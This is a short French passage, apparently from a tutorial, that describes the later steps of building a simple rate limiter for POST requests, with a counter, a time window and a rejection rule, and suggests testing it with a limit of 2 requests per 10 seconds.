    3. À chaque requête POST, vérifiez si le delta de temps observé est dépassé :
      • Si le delta de temps est dépassé : actualisez l'horodatage de la requête de référence et réinitialisez le compteur de requêtes.
      • Si le delta de temps n'est pas dépassé : incrémentez le compteur et vérifiez qu'il n'excède pas la limite du nombre de requêtes acceptées. Si le compteur excède la limite, la requête est rejetée.
    4. Testez son efficacité en le configurant avec des valeurs restrictives, par exemple un maximum de 2 requêtes toutes les 10 secondes.